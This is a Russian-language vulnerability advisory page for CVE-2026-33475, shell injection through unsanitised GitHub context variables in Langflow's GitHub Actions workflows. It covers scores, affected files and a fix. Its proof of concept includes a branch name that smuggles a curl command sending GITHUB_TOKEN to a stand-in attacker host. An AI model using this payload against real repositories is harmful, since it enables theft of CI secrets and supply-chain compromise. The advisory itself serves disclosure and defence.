CVE-2026-33475
Langflow GitHub Actions Shell Injection
- Опубликовано
- 24 мар. 2026 г.
- Обновлено
- 25 мар. 2026 г.
- Назначение CNA
- GitHub_M
- Наблюдены доказательства
- 5 сент. 2026 г.
Первичный CVSS
nvd · CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:NНизкий · следующие 30 дней
- Процентиль
- 86,5 %
- Дата модели
- 21 сент. 2026 г.
EPSS – это статистическая оценка, а не достоверность или мера воздействия. Объедините это с CVSS, статусом KEV, воздействием и вашей средой.
Резюме
# Langflow — внедрение shell-команд в CI/CD (CVE) Langflow — это инструмент для создания и развёртывания AI-агентов и рабочих процессов на базе искусственного интеллекта. В нескольких GitHub Actions рабочих процессах репозитория Langflow до версии 1.9.0 существует неаутентифицированная уязвимость внедрения shell-команд. Несанитизированная интерполяция переменных контекста GitHub (например, `${{ github.head_ref }}`) в шагах `run:` позволяет злоумышленникам внедрять и выполнять произвольные shell-команды через вредоносное имя ветки или заголовок pull request. Это может привести к краже секретов (например, `GITHUB_TOKEN`), манипуляциям с инфраструктурой или компрометации цепочки поставок во время выполнения CI/CD. Версия 1.9.0 устраняет эту уязвимость. --- ### Подробности В нескольких рабочих процессах в `.github/workflows/` и `.github/actions/` переменные контекста GitHub напрямую используются в shell-командах `run:`, например: ```yaml run: | validate_branch_name "${{ github.event.pull_request.head.ref }}" ``` Или: ```yaml run: npx playwright install ${{ inputs.browsers }} --with-deps ``` Поскольку `github.head_ref`, `github.event.pull_request.title` и пользовательские `inputs.*` могут содержать **значения, контролируемые пользователем**, их необходимо рассматривать как **недоверенный ввод**. Прямая интерполяция без надлежащего экранирования или санитизации приводит к внедрению shell-команд. --- ### PoC 1. **Сделайте форк** репозитория Langflow 2. **Создайте новую ветку** с именем: ```bash injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 3. **Откройте Pull Request** в основную ветку из новой ветки 4. GitHub Actions запустит затронутый рабочий процесс (например, `deploy-docs-draft.yml`) 5. Шаг `run:`, содержащий: ```yaml echo "Branch: ${{ github.head_ref }}" ``` Выполнит: ```bash echo "Branch: injection-test" && curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 6. Злоумышленник получает CI-секрет через URL для кражи данных. --- ### Воздействие - **Тип:** Внедрение shell-команд / удалённое выполнение кода в CI - **Область применения:** Любой публичный форк Langflow с включённым GitHub Actions - **Воздействие:** Полный доступ к CI-секретам (например, `GITHUB_TOKEN`), возможность публикации вредоносных тегов или образов, вмешательство в релизы или утечка чувствительных данных инфраструктуры --- ### Рекомендуемое исправление Переработайте затронутые рабочие процессы, чтобы **использовать переменные окружения** и заключать их в **двойные кавычки**: ```yaml env: BRANCH_NAME: ${{ github.head_ref }} run: | echo "Branch is: \"$BRANCH_NAME\"" ``` Избегайте прямой интерполяции `${{ ... }}` внутри `run:` для любых значений, контролируемых пользователем. --- ### Затронутые файлы (Langflow `1.3.4`) - `.github/actions/install-playwright/action.yml` - `.github/workflows/deploy-docs-draft.yml` - `.github/workflows/docker-build.yml` - `.github/workflows/release_nightly.yml` - `.github/workflows/python_test.yml` - `.github/workflows/typescript_test.yml`
Ответственное использование
Используйте информацию об уязвимостях только в тех системах, которыми вы владеете или имеете право тестировать. Kitploit ссылается на метаданные общедоступных исследований и не хранит код эксплойта или вредоносные полезные данные.